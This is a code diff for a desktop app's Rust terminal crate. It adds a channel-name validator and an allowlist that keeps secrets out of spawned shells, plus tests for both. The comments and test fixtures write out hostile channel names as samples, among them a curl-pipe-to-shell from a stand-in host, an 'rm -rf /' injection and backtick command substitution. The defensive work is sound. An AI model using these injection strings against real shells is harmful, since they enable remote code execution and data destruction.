diff --git a/desktop/src-tauri/Cargo.lock b/desktop/src-tauri/Cargo.lock index a927db36c..fdb0677f6 100644 --- a/desktop/src-tauri/Cargo.lock +++ b/desktop/src-tauri/Cargo.lock @@ -1203,7 +1203,9 @@ name = "buzz-terminal" version = "0.1.0" dependencies = [ "alacritty_terminal", + "libc", "parking_lot", + "portable-pty", ] [[package]] @@ -1422,6 +1424,12 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + [[package]] name = "cfg_aliases" version = "0.2.1" @@ -2623,7 +2631,7 @@ dependencies = [ "rustc_version", "toml 1.1.2+spec-1.1.0", "vswhom", - "winreg", + "winreg 0.55.0", ] [[package]] @@ -4302,7 +4310,7 @@ dependencies = [ "backon", "blake3", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "ctutils", "data-encoding", "derive_more", @@ -4370,7 +4378,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a" dependencies = [ "arc-swap", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "hickory-resolver", "iroh-base", @@ -4422,7 +4430,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354" dependencies = [ "blake3", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "data-encoding", "derive_more", "getrandom 0.4.3", @@ -5824,7 +5832,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "futures-buffered", "futures-lite", @@ -6014,7 +6022,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976" dependencies = [ "atomic-waker", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "ipnet", "js-sys", @@ -6049,6 +6057,18 @@ version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" +[[package]] +name = "nix" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4" +dependencies = [ + "bitflags 2.13.0", + "cfg-if 1.0.4", + "cfg_aliases 0.1.1", + "libc", +] + [[package]] name = "nix" version = "0.29.0" @@ -6057,7 +6077,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "memoffset", ] @@ -6070,7 +6090,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", ] @@ -6082,7 +6102,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", ] @@ -6112,7 +6132,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89" dependencies = [ "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "noq-proto", "noq-udp", @@ -6160,7 +6180,7 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "socket2", "tracing", @@ -7472,6 +7492,27 @@ dependencies = [ "portable-atomic", ] +[[package]] +name = "portable-pty" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix 0.28.0", + "serial2", + "shared_library", + "shell-words", + "winapi", + "winreg 0.10.1", +] + [[package]] name = "portmapper" version = "0.19.1" @@ -7927,7 +7968,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8" dependencies = [ "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "pin-project-lite", "quinn-proto", "quinn-udp", @@ -7969,7 +8010,7 @@ version = "0.5.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "once_cell", "socket2", @@ -9264,6 +9305,17 @@ dependencies = [ "serde", ] +[[package]] +name = "serial2" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730" +dependencies = [ + "cfg-if 1.0.4", + "libc", + "windows-sys 0.61.2", +] + [[package]] name = "serialize-to-javascript" version = "0.1.2" @@ -9364,6 +9416,22 @@ dependencies = [ "lazy_static", ] +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + [[package]] name = "shellexpand" version = "3.1.2" @@ -12912,6 +12980,15 @@ dependencies = [ "memchr", ] +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + [[package]] name = "winreg" version = "0.55.0" diff --git a/desktop/src-tauri/crates/buzz-terminal/Cargo.toml b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml index eb3739701..070fda80a 100644 --- a/desktop/src-tauri/crates/buzz-terminal/Cargo.toml +++ b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml @@ -7,6 +7,10 @@ license = "Apache-2.0" [dependencies] alacritty_terminal = { version = "0.26.0", default-features = false } parking_lot = "0.12" +portable-pty = "0.9" + +[target.'cfg(unix)'.dependencies] +libc = "0.2" [dev-dependencies] # Tests reach into the grid to prove content survived a frame. diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context.rs b/desktop/src-tauri/crates/buzz-terminal/src/context.rs new file mode 100644 index 000000000..012fbb4e6 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/context.rs @@ -0,0 +1,103 @@ +//! GUI context injected into the child shell. +//! +//! The terminal knows which channel and thread the user is looking at, so a +//! script in the substrate can act on it. That context crosses a trust +//! boundary: a channel *name* is attacker-controlled — anyone who can create +//! a channel picks the string — and it lands in an environment variable that +//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a +//! channel named `$(curl evil.sh|sh)` into command execution the moment the +//! user opens a terminal. +//! +//! Two rules follow, and the second one is the load-bearing one: +//! +//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an +//! endless negotiation with an attacker who chooses the input. We accept a +//! conservative character class and reject everything else. +//! 2. **On rejection, substitute — never strip.** A stripped name is still a +//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes +//! `evil`, which looks like a real channel. We substitute the channel UUID, +//! which is unambiguous, always safe, and visibly not a name — the user can +//! tell something was replaced. + +/// Maximum accepted channel-name length, in characters. +const MAX_CHANNEL_NAME_CHARS: usize = 64; + +/// The GUI state a spawned terminal is told about. +#[derive(Debug, Clone)] +pub struct GuiContext { + pub channel_id: String, + pub channel_name: String, + pub thread_id: Option, + pub npub: String, + pub relay_url: String, + pub session_id: String, +} + +/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`. +/// +/// Unicode letters, digits and marks are accepted so non-Latin channel names +/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to — +/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the +/// class and therefore rejected rather than removed. +fn is_safe_channel_name(name: &str) -> bool { + !name.is_empty() + && name.chars().count() <= MAX_CHANNEL_NAME_CHARS + && name + .chars() + .all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.')) +} + +/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise +/// the channel UUID. +pub fn channel_display(context: &GuiContext) -> &str { + if is_safe_channel_name(&context.channel_name) { + &context.channel_name + } else { + &context.channel_id + } +} + +/// Returns true if `key` is a well-formed POSIX env var name: +/// `[A-Za-z_][A-Za-z0-9_]*`. +/// +/// Mirrors `is_well_formed_env_key` in the desktop crate +/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here: +/// `CommandBuilder::env` will pass a key containing `=` straight into the +/// child's environ block, where `getenv("FOO")` matches whatever follows the +/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as +/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to +/// forge a variable the fence otherwise controls. +/// +/// Every key we inject is a compile-time literal today, so this cannot fire +/// yet. It is here because the *next* injected key may not be: the check +/// belongs at the boundary, not in the reviewer's memory. +pub fn is_well_formed_env_key(key: &str) -> bool { + let mut chars = key.chars(); + match chars.next() { + Some(c) if c == '_' || c.is_ascii_alphabetic() => {} + _ => return false, + } + chars.all(|c| c == '_' || c.is_ascii_alphanumeric()) +} + +/// The context variables to inject, in order. +/// +/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is +/// always the UUID, so a script that needs an unambiguous identifier has one +/// that no channel name can spoof. +pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> { + let mut vars = vec![ + ("BUZZ_CHANNEL_ID", context.channel_id.clone()), + ("BUZZ_CHANNEL", channel_display(context).to_owned()), + ("BUZZ_NPUB", context.npub.clone()), + ("BUZZ_RELAY_URL", context.relay_url.clone()), + ("BUZZ_TERM_SESSION", context.session_id.clone()), + ("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()), + ]; + // Absent rather than empty when the user is not in a thread: `-n + // "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree. + if let Some(thread_id) = &context.thread_id { + vars.push(("BUZZ_THREAD_ID", thread_id.clone())); + } + vars +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs new file mode 100644 index 000000000..1c48c8e78 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs @@ -0,0 +1,139 @@ +//! T-1: the channel name is attacker-controlled and reaches a shell. + +use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext}; + +const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b"; + +fn context_named(channel_name: &str) -> GuiContext { + GuiContext { + channel_id: UUID.to_owned(), + channel_name: channel_name.to_owned(), + thread_id: None, + npub: "npub1example".to_owned(), + relay_url: "wss://relay.example".to_owned(), + session_id: "session-1".to_owned(), + } +} + +/// Ordinary names survive intact, including non-Latin scripts. A validator +/// that rejected these would be "safe" and useless. +#[test] +fn benign_channel_names_pass_through_unchanged() { + for name in [ + "buzz-tui", + "General Chat", + "release_2.0", + "日本語チャンネル", + "Ünicode Ñames", + ] { + let context = context_named(name); + assert_eq!(channel_display(&context), name, "rejected a benign name"); + } +} + +/// Shell metacharacters are rejected — and the substitute is the UUID, not a +/// stripped name. Stripping would turn `$(evil)` into `evil`, which is +/// indistinguishable from a real channel called `evil`. +#[test] +fn hostile_channel_names_are_replaced_by_the_uuid() { + for name in [ + "$(curl evil.sh|sh)", + "`id`", + "a; rm -rf /", + "a\nPS1=pwned", + "a$IFS$9", + "x=y", + "'; echo pwned; '", + "a\0b", + ] { + let context = context_named(name); + let shown = channel_display(&context); + assert_eq!( + shown, UUID, + "hostile name was not replaced by the UUID: {name:?} -> {shown:?}" + ); + } +} + +/// The substitution must be *whole*, not a filtered version of the input. A +/// strip-sanitizer passes the "no metacharacters" check while still echoing +/// attacker-chosen text. +#[test] +fn rejection_substitutes_rather_than_strips() { + let context = context_named("$(curl evil.sh|sh)"); + let shown = channel_display(&context); + assert!( + !shown.contains("curl") && !shown.contains("evil"), + "attacker-chosen text survived rejection: {shown:?}" + ); +} + +/// Over-long names are rejected: an env var is not a place for unbounded +/// attacker input, and a 10 KB prompt is its own denial of service. +#[test] +fn over_long_channel_names_are_replaced() { + let context = context_named(&"a".repeat(65)); + assert_eq!(channel_display(&context), UUID); + let ok = context_named(&"a".repeat(64)); + assert_eq!(channel_display(&ok), "a".repeat(64)); +} + +/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no +/// channel name can spoof — including a channel *named* like a UUID. +#[test] +fn channel_id_is_never_the_name() { + let context = context_named("11111111-2222-3333-4444-555555555555"); + let vars = context_vars(&context); + let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap(); + assert_eq!( + id.1, UUID, + "a UUID-shaped channel name displaced the real id" + ); +} + +/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree. +#[test] +fn thread_id_is_absent_when_there_is_no_thread() { + let vars = context_vars(&context_named("buzz-tui")); + assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID")); + + let mut context = context_named("buzz-tui"); + context.thread_id = Some("thread-1".to_owned()); + let vars = context_vars(&context); + assert_eq!( + vars.iter() + .find(|(k, _)| *k == "BUZZ_THREAD_ID") + .map(|(_, v)| v.as_str()), + Some("thread-1") + ); +} + +/// Every injected key must be POSIX-shaped. A key containing `=` would let +/// the value forge a second variable in the child's environ block. +#[test] +fn every_injected_key_is_well_formed() { + for (key, _) in context_vars(&context_named("buzz-tui")) { + assert!( + is_well_formed_env_key(key), + "malformed injected key: {key:?}" + ); + } +} + +/// The guard itself, including the bypass shape it exists for. +#[test] +fn well_formed_key_rejects_the_equals_bypass() { + for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] { + assert!(is_well_formed_env_key(good), "rejected {good:?}"); + } + for bad in [ + "BUZZ_CHANNEL=x", + "", + "1LEADING_DIGIT", + "HAS SPACE", + "HAS\0NUL", + "kebab-case", + ] { + assert!(!is_well_formed_env_key(bad), "accepted {bad:?}"); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs new file mode 100644 index 000000000..2430d54a4 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs @@ -0,0 +1,85 @@ +//! Environment fence for spawned PTY children. +//! +//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and +//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env +//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()` +//! `:74`), so a shell spawned with the default builder inherits **all** of it: +//! the user types `env` and reads the signing key off the screen. +//! +//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22) +//! demonstrates the failure mode this module exists to prevent. It removed +//! seven Hermit/macOS keys by denylist under a comment promising "a clean +//! environment" and passed 68 variables — including the nsec — to the child. +//! A denylist is only as current as the last time someone remembered to +//! extend it; it was correct for the polluted-`PATH` threat it was written +//! for and became a key-disclosure bug when the app started holding secrets. +//! +//! So: **allowlist, never denylist.** Clear the inherited environment +//! wholesale, then rebuild only what a terminal legitimately needs. + +use portable_pty::CommandBuilder; + +/// Keys the child is allowed to inherit from Buzz's own environment. +/// +/// Deliberately minimal: each entry is something a shell genuinely cannot +/// function without, or that visibly degrades the session by its absence. +/// Anything not listed here does not reach the child, including keys that do +/// not exist yet — which is the property a denylist cannot offer. +const INHERIT_ALLOWLIST: &[&str] = &[ + "HOME", // shell startup files, ~ expansion + "USER", // prompt expansion, `whoami`-adjacent tooling + "LOGNAME", // POSIX companion to USER + "LANG", // UTF-8 decoding of the child's own output + "LC_ALL", // explicit locale override, when set + "LC_CTYPE", // character classification; wide/emoji handling + "TZ", // timestamps in prompts and logs + "TMPDIR", // per-user temp dir; absence breaks many tools on macOS +]; + +/// Values Buzz sets on the child unconditionally, overriding any inherited +/// value. `TERM` in particular must describe *our* emulator, not whatever +/// terminal happened to launch the desktop app. +const OVERRIDES: &[(&str, &str)] = &[ + ("TERM", "xterm-256color"), + ("TERM_PROGRAM", "Buzz"), + ("COLORTERM", "truecolor"), +]; + +/// Applies the environment fence to `cmd`, returning it for chaining. +/// +/// Ordering is load-bearing and the reverse fails silently: `env_clear()` +/// discards every accumulated entry, so clearing *after* populating yields a +/// child with an empty environment and no error anywhere. Clear first, then +/// rebuild. +/// +/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and +/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we +/// actually spawn are different values in exactly the cases the resolution +/// fallback exists for — a Finder-launched app with no `$SHELL`, or a +/// `$SHELL` that fails the executable-regular-file check — so inheriting it +/// would tell the child it is running something it is not. +pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) { + // 1. Drop the inherited environment wholesale, secrets included. + cmd.env_clear(); + + // 2. Rebuild only the allowlisted keys that are actually present. + for key in INHERIT_ALLOWLIST { + if let Some(value) = std::env::var_os(key) { + cmd.env(key, value); + } + } + + // 3. Apply Buzz's own terminal identity. + for (key, value) in OVERRIDES { + cmd.env(key, value); + } + + // 4. PATH is supplied by the caller rather than inherited; see + // `path::user_shell_path`. + cmd.env("PATH", path); + + // 5. The resolved shell, last. `CommandBuilder::as_command` writes its own + // `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our + // explicit entry is the one the child sees. + cmd.env("SHELL", shell); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs new file mode 100644 index 000000000..6d99337c4 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs @@ -0,0 +1,359 @@ +//! Secret-leak gate for the environment fence. +//! +//! These tests spawn a real PTY child and read its actual environment. An +//! assertion against the `CommandBuilder` alone would be weaker: it would not +//! prove that what the builder holds is what the kernel hands the child. + +use crate::env_fence::fence_env; +use crate::path::user_shell_path; +use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL}; +use portable_pty::{native_pty_system, CommandBuilder, PtySize}; +use std::io::Read; + +/// Secrets Buzz's own process holds. Sourced from the desktop crate's +/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated +/// rather than imported because this crate deliberately has no dependency +/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step. +const SECRET_KEYS: &[&str] = &[ + "BUZZ_PRIVATE_KEY", + "NOSTR_PRIVATE_KEY", + "BUZZ_AUTH_TAG", + "BUZZ_API_TOKEN", + "BUZZ_ACP_PRIVATE_KEY", + "BUZZ_ACP_API_TOKEN", + "BUZZ_RELAY_URL", +]; + +const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK"; + +/// Uniquely-named executable seeded into Buzz's own PATH; the child must not +/// be able to run it. +const CANARY_BIN: &str = "buzz-hermit-canary-tool"; + +/// Creates a fixture file at `name` with `mode`, replacing any leftover from +/// a previous run. +/// +/// The removal is not tidiness: a fixture written at mode `0o010` is not +/// writable by its own owner, so a second run in the same temp dir fails with +/// `Permission denied` before reaching a single assertion. Green on a fresh +/// runner, red on a persistent one — a test must not depend on which it got. +#[cfg(unix)] +fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf { + use std::os::unix::fs::PermissionsExt; + + let path = std::env::temp_dir().join(name); + let _ = std::fs::remove_file(&path); + std::fs::write(&path, contents).expect("write fixture"); + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture"); + path +} + +/// Runs `env` in a real PTY child under the full fence and returns its output. +fn fenced_child_environment() -> String { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell)) +} + +/// Runs `env` in a real PTY child and returns its raw output. +fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String { + child_command(build, "env") +} + +/// Runs `script` in a real PTY child under `build`'s fence and returns the +/// child's output. +/// +/// The child is a real process on a real PTY rather than an inspection of the +/// `CommandBuilder`: the builder is what we asked for, and the child's +/// `environ` is what the kernel actually delivered. Only the second one is the +/// property under test. +fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String { + let pty = native_pty_system(); + let pair = pty + .openpty(PtySize { + rows: 24, + cols: 80, + pixel_width: 0, + pixel_height: 0, + }) + .expect("openpty"); + + let mut cmd = CommandBuilder::new("/bin/sh"); + build(&mut cmd); + cmd.arg("-c"); + cmd.arg(script); + + let mut child = pair.slave.spawn_command(cmd).expect("spawn"); + drop(pair.slave); + + let mut reader = pair.master.try_clone_reader().expect("reader"); + let mut out = String::new(); + reader.read_to_string(&mut out).expect("read child output"); + child.wait().expect("wait"); + out +} + +/// Seeds this process with secrets so the fence has something to leak. +/// +/// Note these are process-global; the tests that rely on them assert on a +/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the +/// developer's environment neither masks a failure nor causes one. +fn seed_secrets() { + for key in SECRET_KEYS { + std::env::set_var(key, format!("{CANARY}_{key}")); + } +} + +#[test] +fn fence_keeps_secrets_out_of_the_child() { + seed_secrets(); + let out = fenced_child_environment(); + + assert!( + !out.contains(CANARY), + "a reserved secret reached the child environment:\n{out}" + ); + for key in SECRET_KEYS { + assert!( + !out.lines().any(|line| line.starts_with(&format!("{key}="))), + "{key} reached the child environment:\n{out}" + ); + } +} + +/// The other half of the assertion. A fence that clears in the wrong order +/// produces an empty environment: it passes the leak check above while +/// shipping a shell with no context and no error. Asserting only the negative +/// would ratify that bug. +#[test] +fn fence_still_delivers_the_terminal_contract() { + seed_secrets(); + let out = fenced_child_environment(); + + for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] { + assert!( + out.lines().any(|line| line == format!("{key}={value}")), + "{key} missing from child environment:\n{out}" + ); + } + assert!( + out.lines().any(|line| line.starts_with("PATH=")), + "PATH missing from child environment:\n{out}" + ); +} + +/// The fence must be exhaustive, not enumerated: a secret invented tomorrow +/// is excluded because it was never allowlisted. This is the property the +/// `feat/terminal` denylist could not offer. +#[test] +fn fence_excludes_keys_it_has_never_heard_of() { + std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY); + let out = fenced_child_environment(); + + assert!( + !out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"), + "an unknown key reached the child:\n{out}" + ); +} + +/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain +/// never becomes the user's shell toolchain. +/// +/// The assertion is *reachability*, not a string comparison: we seed a +/// uniquely-named executable into this process's `PATH` and prove the child +/// cannot run it. A string check would pass a fence that inherited a +/// differently-spelled toolchain directory, and would fail a fence that +/// legitimately contained the substring; `command -v` asks the question the +/// user actually asks by typing a command name. +#[test] +fn child_path_is_free_of_buzz_toolchain() { + let dir = std::env::temp_dir().join("buzz-terminal-path-canary"); + std::fs::create_dir_all(&dir).expect("canary dir"); + let canary = dir.join(CANARY_BIN); + std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755)) + .expect("chmod canary"); + } + + // Stand in for Hermit activation: Buzz's own PATH leads with a directory + // holding a tool the user does not have. + std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display())); + assert!( + is_executable_file(&canary), + "test setup: canary must be executable" + ); + + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let out = child_environment(|cmd| { + fence_env(cmd, &user_shell_path(), &shell); + }); + let path_line = out + .lines() + .find(|line| line.starts_with("PATH=")) + .expect("child has a PATH"); + assert!( + !path_line.contains("buzz-terminal-path-canary"), + "Buzz's toolchain leaked into the child PATH: {path_line}" + ); + + // The reachability arm: run `command -v` for the canary inside the fence. + let resolved = child_command( + |cmd| fence_env(cmd, &user_shell_path(), &shell), + &format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"), + ); + assert!( + resolved.contains("CANARY_UNREACHABLE"), + "a Buzz-only executable was reachable from the child shell: {resolved}" + ); +} + +/// `$SHELL` is honoured when it names an executable regular file. +#[test] +fn resolve_shell_prefers_a_valid_shell_env() { + assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh"); +} + +/// The other direction: an unset `$SHELL` must fall through to the **passwd +/// database**, not to the hardcoded fallback. +/// +/// Asserting merely that the result is executable is vacuous — `/bin/sh` is +/// executable, so a resolver with the passwd step deleted entirely passes it. +/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker +/// assertion. The property is *equality with the passwd entry*, and the +/// discriminating-power guard below refuses to pass silently on a machine +/// where the two candidates coincide. +#[test] +fn resolve_shell_falls_through_to_passwd_not_the_default() { + let Some(passwd) = crate::shell::passwd_shell() else { + panic!("no usable passwd shell; this gate cannot run on this machine"); + }; + assert_ne!( + passwd, FALLBACK_SHELL, + "passwd shell equals the fallback, so this test cannot tell the \ + passwd step from its absence; it must not report success" + ); + assert_eq!( + resolve_shell(None), + passwd, + "an unset $SHELL did not resolve to the passwd entry" + ); +} + +/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one +/// passes portable-pty's own check and produces a child that dies with a Rust +/// runtime panic. Requiring an executable *regular file* is what closes it. +#[test] +fn resolve_shell_rejects_a_directory_that_passes_x_ok() { + let dir = std::env::temp_dir(); + assert!( + !is_executable_file(&dir), + "a directory must not qualify as a shell" + ); + assert_ne!( + resolve_shell(dir.to_str()), + dir.to_str().unwrap(), + "a directory $SHELL was accepted; the child would abort on spawn" + ); +} + +/// Raw mode bits are not effective executability: a self-owned regular file +/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and +/// running it gives `Permission denied`. The metadata half of the predicate +/// cannot see this; only the `access` half can. +#[test] +fn resolve_shell_rejects_a_file_the_user_cannot_execute() { + use std::os::unix::fs::PermissionsExt; + + let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010); + let mode = std::fs::metadata(&path).expect("stat").permissions().mode(); + assert!( + mode & 0o111 != 0, + "test setup: some class must hold an execute bit, else this arm \ + cannot discriminate the mode check from the access check" + ); + + assert!( + !is_executable_file(&path), + "a file the effective user cannot execute was accepted as a shell" + ); + assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap()); +} + +/// A non-executable regular file falls through as well. +#[test] +fn resolve_shell_rejects_a_non_executable_file() { + let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644); + assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap()); +} + +/// The login convention is `-`, applied without inspecting the +/// shell's name. Any shell — including ones that do not exist yet — gets +/// login semantics from argv0 rather than from a flag we guessed. +#[test] +fn login_argv0_is_shell_neutral() { + for (shell, expected) in [ + ("/bin/zsh", "-zsh"), + ("/usr/local/bin/fish", "-fish"), + ("/opt/nu/bin/nu", "-nu"), + (FALLBACK_SHELL, "-sh"), + ] { + assert_eq!(login_argv0(shell), expected); + } +} + +/// The child must be told the shell we actually spawned, not the one Buzz +/// itself was launched under. Asserting `SHELL` is merely present would pass +/// for an inherited value, which is wrong in exactly the fallback cases. +#[test] +fn child_shell_is_the_resolved_shell_not_the_inherited_one() { + std::env::set_var("SHELL", "/definitely/not/a/real/shell"); + let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref()); + assert_ne!( + resolved, "/definitely/not/a/real/shell", + "test setup: the bogus shell must not resolve" + ); + + let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved)); + assert!( + out.lines().any(|line| line == format!("SHELL={resolved}")), + "child SHELL is not the resolved shell (expected {resolved}):\n{out}" + ); + assert!( + !out.contains("/definitely/not/a/real/shell"), + "the inherited SHELL reached the child:\n{out}" + ); +} + +/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate +/// grows a new secret, this points at the file to update. +#[test] +fn reserved_keys_are_covered() { + let source = include_str!("../../../src/managed_agents/env_vars.rs"); + let declared: Vec<&str> = source + .lines() + .skip_while(|line| !line.contains("RESERVED_ENV_KEYS")) + .take_while(|line| !line.trim_start().starts_with("];")) + .filter_map(|line| line.trim().strip_prefix('"')) + .filter_map(|line| line.split('"').next()) + .filter(|key| { + // Only identity/credential keys are in scope here: the rest of + // RESERVED_ENV_KEYS guards agent-config override, which cannot + // apply to a child that inherits nothing. + key.contains("PRIVATE_KEY") + || key.contains("AUTH_TAG") + || key.contains("API_TOKEN") + || key.contains("RELAY_URL") + }) + .collect(); + + assert!(!declared.is_empty(), "failed to parse 